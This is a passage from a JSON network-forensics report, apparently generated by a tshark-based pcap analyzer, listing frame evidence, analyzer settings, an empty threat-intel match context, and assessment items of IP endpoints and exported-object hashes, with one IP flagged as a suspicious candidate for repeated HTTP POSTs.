            "timestamp_epoch": "1577255368.522892000"
          },
          {
            "tcp_stream": 4,
            "frame_number": 92,
            "display_filter": "frame.number == 92",
            "timestamp_epoch": "1577255368.816147000"
          },
          {
            "tcp_stream": 4,
            "frame_number": 94,
            "display_filter": "frame.number == 94",
            "timestamp_epoch": "1577255369.090592000"
          },
          {
            "tcp_stream": 4,
            "frame_number": 97,
            "display_filter": "frame.number == 97",
            "timestamp_epoch": "1577255369.358316000"
          },
          {
            "tcp_stream": 4,
            "frame_number": 100,
            "display_filter": "frame.number == 100",
            "timestamp_epoch": "1577255369.755450000"
          },
          {
            "tcp_stream": 4,
            "frame_number": 103,
            "display_filter": "frame.number == 103",
            "timestamp_epoch": "1577255370.023839000"
          },
          {
            "tcp_stream": 4,
            "frame_number": 106,
            "display_filter": "frame.number == 106",
            "timestamp_epoch": "1577255370.291541000"
          },
          {
            "tcp_stream": 4,
            "frame_number": 109,
            "display_filter": "frame.number == 109",
            "timestamp_epoch": "1577255370.559401000"
          },
          {
            "tcp_stream": 4,
            "frame_number": 112,
            "display_filter": "frame.number == 112",
            "timestamp_epoch": "1577255370.827144000"
          },
          {
            "tcp_stream": 4,
            "frame_number": 115,
            "display_filter": "frame.number == 115",
            "timestamp_epoch": "1577255371.668883000"
          },
          {
            "tcp_stream": 4,
            "frame_number": 118,
            "display_filter": "frame.number == 118",
            "timestamp_epoch": "1577255371.936865000"
          },
          {
            "tcp_stream": 4,
            "frame_number": 121,
            "display_filter": "frame.number == 121",
            "timestamp_epoch": "1577255372.204598000"
          },
          {
            "tcp_stream": 4,
            "frame_number": 124,
            "display_filter": "frame.number == 124",
            "timestamp_epoch": "1577255372.472235000"
          },
          {
            "tcp_stream": 4,
            "frame_number": 127,
            "display_filter": "frame.number == 127",
            "timestamp_epoch": "1577255372.740954000"
          },
          {
            "tcp_stream": 4,
            "frame_number": 130,
            "display_filter": "frame.number == 130",
            "timestamp_epoch": "1577255373.008670000"
          },
          {
            "tcp_stream": 4,
            "frame_number": 133,
            "display_filter": "frame.number == 133",
            "timestamp_epoch": "1577255373.276884000"
          },
          {
            "tcp_stream": 4,
            "frame_number": 136,
            "display_filter": "frame.number == 136",
            "timestamp_epoch": "1577255373.546580000"
          },
          {
            "tcp_stream": 4,
            "frame_number": 139,
            "display_filter": "frame.number == 139",
            "timestamp_epoch": "1577255373.948368000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-479c84190c9372bcf8ee438a",
        "last_seen_epoch": "1577255591.880762000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255356.563321000"
      }
    ],
    "schema_version": "pcap-analysis-v1",
    "semantic_sha256": "658bd679a390ce4ba3a0cfec0e9155d91ee3f53763dbf5fcefd9f15ec7ae062b",
    "analyzer_manifest": {
      "limits": {
        "max_flows": 50000,
        "max_endpoints": 20000,
        "max_upload_bytes": 536870912,
        "max_exported_files": 50000,
        "max_events_per_kind": 50000,
        "max_exported_objects": 500,
        "tool_timeout_seconds": 300,
        "max_object_hash_index": 50000,
        "max_tool_output_bytes": 268435456,
        "max_exported_total_bytes": 268435456,
        "max_exported_object_bytes": 52428800
      },
      "profile_id": "tshark-evidence-v6",
      "profile_sha256": "aff64bf3786902d5d7a2c1a9be158a5246cc81aecea6c44eda74701431070465",
      "schema_version": "pcap-analyzer-manifest-v1",
      "tshark_version": "TShark (Wireshark) 4.4.18.",
      "manifest_sha256": "1f3c02483cfea06d85bd326f6e225f3f41a4ab703677d40537577e8bb85c1ce0",
      "capinfos_version": "Capinfos (Wireshark) 4.4.18.",
      "rulepack_version": "pcap-rules-v5",
      "implementation_sha256": "1a7d19199ff58059a12b34656620481b502fadc52d115b5f4b42fc28e5817c3c",
      "requested_fields_sha256": "e7a6eff11f7ae2101845897ce7e3b0a0e9cea31bdea4a824734869f39f3fb4f3",
      "supported_profile_fields_sha256": "6d94b9bc3aea93d5f7f4f815bdd025560ceba0d5e27b380ad14da28b44947994"
    },
    "attack_candidates": [],
    "analysis_key_material": {
      "source_sha256": "a86c6a31ed04ed05571f997d296f8e7c7be7f262f6e602bd72d9e5de656945c5",
      "rulepack_version": "pcap-rules-v5",
      "analyzer_manifest_sha256": "1f3c02483cfea06d85bd326f6e225f3f41a4ab703677d40537577e8bb85c1ce0"
    }
  },
  "context": {
    "mode": "local-only",
    "matches": [],
    "coverage": {
      "truncated": false,
      "no_exact_match": 710,
      "observable_limit": 5000,
      "observables_total": 710,
      "matched_observables": 0,
      "observables_checked": 710,
      "prior_cases_checked": 50,
      "prior_case_limit_reached": true
    },
    "created_at": "2026-09-22T16:01:36.838512+00:00",
    "session_id": "a7451493-89ce-4a51-a488-6471ae4dd527",
    "techniques": [],
    "interpretation": "No match means unknown in this corpus. Local CTI may postdate the capture. Matches and shared infrastructure require review; no automatic promotion or attribution.",
    "schema_version": "pcap-context-v1",
    "snapshot_sha256": "9ddc5725e103b930746c7e350e94833ebc024b08d0b83f3171d761312edc835a",
    "source_actor_links": [],
    "external_enrichment": {
      "reason": "Requires explicit provider consent and privacy review",
      "status": "not-requested",
      "requests": 0
    },
    "source_semantic_sha256": "658bd679a390ce4ba3a0cfec0e9155d91ee3f53763dbf5fcefd9f15ec7ae062b",
    "cross_case_correlations": []
  },
  "assessment": {
    "policy_version": "pcap-assessment-v3",
    "source_semantic_sha256": "658bd679a390ce4ba3a0cfec0e9155d91ee3f53763dbf5fcefd9f15ec7ae062b",
    "items": [
      {
        "observable_id": "observable-627c2d054fdbfc627198b685",
        "type": "ipv4",
        "value": "10.12.25.101",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "network-endpoint"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-9d4d4a92cdb5b837d024bdf8",
        "type": "ipv4",
        "value": "128.199.64.235",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 1,
            "frame_number": 10,
            "display_filter": "frame.number == 10",
            "timestamp_epoch": "1577255332.202782000"
          },
          {
            "tcp_stream": 1,
            "frame_number": 15,
            "display_filter": "frame.number == 15",
            "timestamp_epoch": "1577255332.482403000"
          },
          {
            "tcp_stream": 1,
            "frame_number": 18,
            "display_filter": "frame.number == 18",
            "timestamp_epoch": "1577255332.751059000"
          },
          {
            "tcp_stream": 1,
            "frame_number": 21,
            "display_filter": "frame.number == 21",
            "timestamp_epoch": "1577255333.019833000"
          },
          {
            "tcp_stream": 1,
            "frame_number": 25,
            "display_filter": "frame.number == 25",
            "timestamp_epoch": "1577255333.294663000"
          },
          {
            "tcp_stream": 1,
            "frame_number": 28,
            "display_filter": "frame.number == 28",
            "timestamp_epoch": "1577255333.957025000"
          },
          {
            "tcp_stream": 1,
            "frame_number": 31,
            "display_filter": "frame.number == 31",
            "timestamp_epoch": "1577255334.310821000"
          },
          {
            "tcp_stream": 1,
            "frame_number": 34,
            "display_filter": "frame.number == 34",
            "timestamp_epoch": "1577255336.009530000"
          },
          {
            "tcp_stream": 2,
            "frame_number": 44,
            "display_filter": "frame.number == 44",
            "timestamp_epoch": "1577255346.055130000"
          },
          {
            "tcp_stream": 2,
            "frame_number": 48,
            "display_filter": "frame.number == 48",
            "timestamp_epoch": "1577255349.559043000"
          },
          {
            "tcp_stream": 2,
            "frame_number": 52,
            "display_filter": "frame.number == 52",
            "timestamp_epoch": "1577255350.624382000"
          },
          {
            "tcp_stream": 2,
            "frame_number": 55,
            "display_filter": "frame.number == 55",
            "timestamp_epoch": "1577255353.337526000"
          },
          {
            "tcp_stream": 2,
            "frame_number": 58,
            "display_filter": "frame.number == 58",
            "timestamp_epoch": "1577255355.200791000"
          },
          {
            "tcp_stream": 2,
            "frame_number": 62,
            "display_filter": "frame.number == 62",
            "timestamp_epoch": "1577255355.468512000"
          },
          {
            "tcp_stream": 3,
            "frame_number": 68,
            "display_filter": "frame.number == 68",
            "timestamp_epoch": "1577255356.304538000"
          },
          {
            "tcp_stream": 2,
            "frame_number": 75,
            "display_filter": "frame.number == 75",
            "timestamp_epoch": "1577255356.563321000"
          },
          {
            "tcp_stream": 4,
            "frame_number": 85,
            "display_filter": "frame.number == 85",
            "timestamp_epoch": "1577255368.254905000"
          },
          {
            "tcp_stream": 4,
            "frame_number": 89,
            "display_filter": "frame.number == 89",
            "timestamp_epoch": "1577255368.522892000"
          },
          {
            "tcp_stream": 4,
            "frame_number": 92,
            "display_filter": "frame.number == 92",
            "timestamp_epoch": "1577255368.816147000"
          },
          {
            "tcp_stream": 4,
            "frame_number": 94,
            "display_filter": "frame.number == 94",
            "timestamp_epoch": "1577255369.090592000"
          }
        ],
        "roles": [
          "http-host"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-f3d1e49eb7eb8474e08974ef",
        "type": "ipv4",
        "value": "139.199.184.166",
        "classification": "suspicious",
        "ioc_candidate": true,
        "reasons": [
          {
            "kind": "behavior",
            "finding_id": "finding-9e298ff810ccf802b8d6c285",
            "rule_id": "repeated-http-posts",
            "frame_number": 591
          },
          {
            "kind": "behavior",
            "finding_id": "finding-9e298ff810ccf802b8d6c285",
            "rule_id": "repeated-http-posts",
            "frame_number": 924
          },
          {
            "kind": "behavior",
            "finding_id": "finding-9e298ff810ccf802b8d6c285",
            "rule_id": "repeated-http-posts",
            "frame_number": 1090
          },
          {
            "kind": "behavior",
            "finding_id": "finding-9e298ff810ccf802b8d6c285",
            "rule_id": "repeated-http-posts",
            "frame_number": 1246
          },
          {
            "kind": "behavior",
            "finding_id": "finding-9e298ff810ccf802b8d6c285",
            "rule_id": "repeated-http-posts",
            "frame_number": 1751
          },
          {
            "kind": "behavior",
            "finding_id": "finding-9e298ff810ccf802b8d6c285",
            "rule_id": "repeated-http-posts",
            "frame_number": 1929
          },
          {
            "kind": "behavior",
            "finding_id": "finding-23fe904e78a62affb365081e",
            "rule_id": "repeated-http-posts",
            "frame_number": 930
          },
          {
            "kind": "behavior",
            "finding_id": "finding-23fe904e78a62affb365081e",
            "rule_id": "repeated-http-posts",
            "frame_number": 933
          },
          {
            "kind": "behavior",
            "finding_id": "finding-23fe904e78a62affb365081e",
            "rule_id": "repeated-http-posts",
            "frame_number": 1497
          },
          {
            "kind": "behavior",
            "finding_id": "finding-23fe904e78a62affb365081e",
            "rule_id": "repeated-http-posts",
            "frame_number": 1659
          },
          {
            "kind": "behavior",
            "finding_id": "finding-23fe904e78a62affb365081e",
            "rule_id": "repeated-http-posts",
            "frame_number": 1668
          },
          {
            "kind": "behavior",
            "finding_id": "finding-23fe904e78a62affb365081e",
            "rule_id": "repeated-http-posts",
            "frame_number": 1922
          }
        ],
        "signals": [
          {
            "basis": "No verdict: not_found",
            "actors": [],
            "source": "threatfox",
            "status": "not_found",
            "verdict": "unknown",
            "evidence": {},
            "cache_hit": false,
            "queried_at": "2026-09-22T17:45:50.976812+00:00",
            "technique_ids": [],
            "context_status": "provider-assertion-not-capture-behavior-or-attribution",
            "relationship_context": []
          },
          {
            "basis": "No verdict: deferred-rate-limit",
            "actors": [],
            "source": "virustotal",
            "status": "deferred-rate-limit",
            "verdict": "unknown",
            "evidence": {},
            "retry_at": "2026-09-22T17:49:29.781117+00:00",
            "cache_hit": false,
            "queried_at": "2026-09-22T17:45:50.973532+00:00",
            "technique_ids": [],
            "context_status": "provider-assertion-not-capture-behavior-or-attribution",
            "cooldown_scope": "shared-redis",
            "error_category": "rate_limited",
            "relationship_context": []
          }
        ],
        "provider_conflict": false,
        "ioc_selection_note": "Candidate requires analyst validation",
        "evidence": [],
        "roles": [
          "network-endpoint"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "partial",
        "queried_at": "2026-09-22T17:45:50.969426+00:00"
      },
      {
        "observable_id": "observable-05ccf8089e7ca006c93f7a02",
        "type": "sha256",
        "value": "002dec6d3ad597ad1363832cf980c066186b2a5f58b6142e09858f7d76d1eda7",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-b75fd6a45e1ab6e2f356e433",
        "type": "sha256",
        "value": "04eebbc1d0c8d07eaa429c4676f1a4d4147ed6e434b051f8404b5750977f9be9",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-a1034e5ee96767d3dbbb82c8",
        "type": "sha256",
        "value": "061c0ff5d6f501e9cf00f3a3748751f4551937bec1e79b76621d7e88a017ec89",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-469e88a36e80b4f20ddeafbc",
        "type": "sha256",
        "value": "067918e6f6b562d39358996bd0ac8ca5aedd37fea124afd6656e8a1328b14a47",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-b529feb903aab9441cfbab5b",
        "type": "sha256",
        "value": "07bc2cd7b6b5cb96d0487caa89080d9b80a2c59dab7ada05fb89e53f09aa980d",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-dd1923c4328ffda051966701",
        "type": "sha256",
        "value": "0947a7a5cd606f9fbc01a6f8a68689b719f4b593cc02fc15ecaaa4c5d087c54e",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-a0890aa7e09c2cff7c54d294",
        "type": "sha256",
        "value": "0ac1505747d95c61631db1420f88e990d4001c411407e85f6fe76880ed6401f3",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-923b212e7261921a476e2d7c",
        "type": "sha256",
        "value": "0dbb7096e097f7ed71c520d093d8b1fc2f23e01fa5f3c3a71a8861e14c9b88cb",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-1e756008f21a92ee63ef0255",
        "type": "sha256",
        "value": "0ec71ec402ba43c54280456053b33624a9481559ecaa96ab45ace5d42d2b8697",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-6ba37358d0e9db4e2a1b8d73",
        "type": "sha256",
        "value": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-d717ca6ee0eea305f6df7893",
        "type": "sha256",
        "value": "11ad503e7b0f728f45d3d3c346e516ffca7aa49aefe5634575fb27fb80b5e6cf",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-2a46ff5771a1cc7772894064",
        "type": "sha256",
        "value": "11ae4ece213f6e5fb811c194ce843d0719f6b5cba7a9e07a84876308014023e3",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-ca62258a5ae4dc0aab155443",
        "type": "sha256",
        "value": "14170376d25bb11f6f3852ab3d81a87cbcda0c618a5a985bd1b794c8ddbd7fd2",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-29607b723f811ea36a21f8f7",
        "type": "sha256",
        "value": "1564d3db2b42cec507a3359d8f89fc060035ab94819b5504cec1b7715358f770",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-1dfc93bc2fb9147ef2c7e4cf",
        "type": "sha256",
        "value": "1b0788ffeb11a35f6baec1be34ee2d65c8da1611422dc0d063c0cc38ef38c049",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-2e0644a2d41621ca2e96cd25",
        "type": "sha256",
        "value": "1bf39d5a226560a2d8e011f57beec18a8c3599eee7b8eb95b5a9654e130d7e68",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-fcdf28c2b75f084211247f00",
        "type": "sha256",
        "value": "201a5616598b897bc8683e6ac3eb3f354a5eeb32c693e507706545fe03f8247a",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-b67e12ce0fea42786e9e89de",
        "type": "sha256",
        "value": "207029dc899d5175df605dd25e4d60af77b5bf2b5bf75eaa951b0fca7615cd20",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-2f2d11291a2babe29862b00f",
        "type": "sha256",
        "value": "22d4e4edf6b669157f4d8b960b07e51f5d1189b481fe0d6c069c4a9c2e9b62f8",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-7b94d82d210a7e516aebb48d",
        "type": "sha256",
        "value": "232a8b0a5755ac6497c68ab10572b17d4318b1e01961bbad679b0061d3ad60d0",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-de8ff8bda65293dd5332e4b9",
        "type": "sha256",
        "value": "233c5bb3d97bdc6393fa229ec35347ccfebba51f519d3013bc833c7f867eab9e",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-8f889131758c68ec65cf25f6",
        "type": "sha256",
        "value": "244de61d3491edb765abb93fe7f8f5548aad63f7b27b8b4aa64a2b83085f8fa2",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-f20b75caef2a9658c8e132c9",
        "type": "sha256",
        "value": "25f77a89d80029b8735f7a5dddbf7e69ab27fdf998cec485ef02e14d67720ae6",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-1724ef7a8223c0553436c4f1",
        "type": "sha256",
        "value": "2a88a2d5883c65f59114dd74a75d1d734d0fdee531d3119ed5c8ecc1c11f42e8",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-47f1adfb5888842a6776f20d",
        "type": "sha256",
        "value": "2c3906c7ad9f0f1a719ed2c92169e63d1e38c077da8fd49870ff9fc5f86253d6",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-da427e0a8e5967e69269950e",
        "type": "sha256",
        "value": "2de5f6ac384ba39120f56ba6ed59c706c4a52d96fc5123575ed7fe0ec9c8f1a2",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-abc9e12c2f8c85f2ea229f26",
        "type": "sha256",
        "value": "3171503cd3eb4ced940a1d0ef36312eca824a055b66bc54ce295a2433a165e25",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-95686cf3873e79e815053c81",
        "type": "sha256",
        "value": "363b45ef36c4b422e2343990313f4920dfab48b6e2336548d09257541f4e2659",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-8e78546f93d4684fa073b87e",
        "type": "sha256",
        "value": "39065d99363d6ee5b1acc6dfef3296e45609bcf500fd353c5d7109de05814fdf",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-f95a20551da454d45479952a",
        "type": "sha256",
        "value": "394255f257a9e01ce5838b8023f8469090434a6dff6f2484ccedc68baecb58ca",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-6aaa7e9453e42ef7a7d5dbcf",
        "type": "sha256",
        "value": "398e5b24097be4e9b0ac36902dddf964b364071eb383f91f856ff5c9dc1c5d58",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-078e0c77da3dfbb734e1879b",
        "type": "sha256",
        "value": "39cad84b05c06b4b0349229379fe47079f0c20a7620ee3ef11180c293b5015dd",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-1c43ac26866e649b43315612",
        "type": "sha256",
        "value": "3b690b1cc0bb875bb2dbb1a06c9ba84ede108e11e702b0582ebc0a29819edd24",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-3e216d663cc354152029a9cb",
        "type": "sha256",
        "value": "3ca4a88819724de1c262999827fc52028fe4879b08d51bb57067fee192caab43",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-6162702b33d5808748577b7b",
        "type": "sha256",
        "value": "3ef3aa42bc88de9043ac872bc1b24e2f530f244ee2b924e6891caa396ac68362",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-ceb94d2cb1bbb8ce2dabddcc",
        "type": "sha256",
        "value": "3fd00b82d4e7698a68bcbf4d94505a71aad3fa59a9600cdff34afc868b70c025",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-dd135149154f8c6a86fe4803",
        "type": "sha256",
        "value": "438e452b4bee81dbe459dc9082ed15556e117c3110318c4c336633a8e46b2105",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-c92d7affee5b6eb2fc173b64",
        "type": "sha256",
        "value": "45ecec3bdf32d519c20bd147b7b36a42c802ee3d33ca614cdfa667c82e4d8a60",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-a047701f003edc56f2fc89c8",
        "type": "sha256",
        "value": "46c7ad95f8964264d4b79d95fafd174bf93fb9b8b9823a128c22350c17d40d4c",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
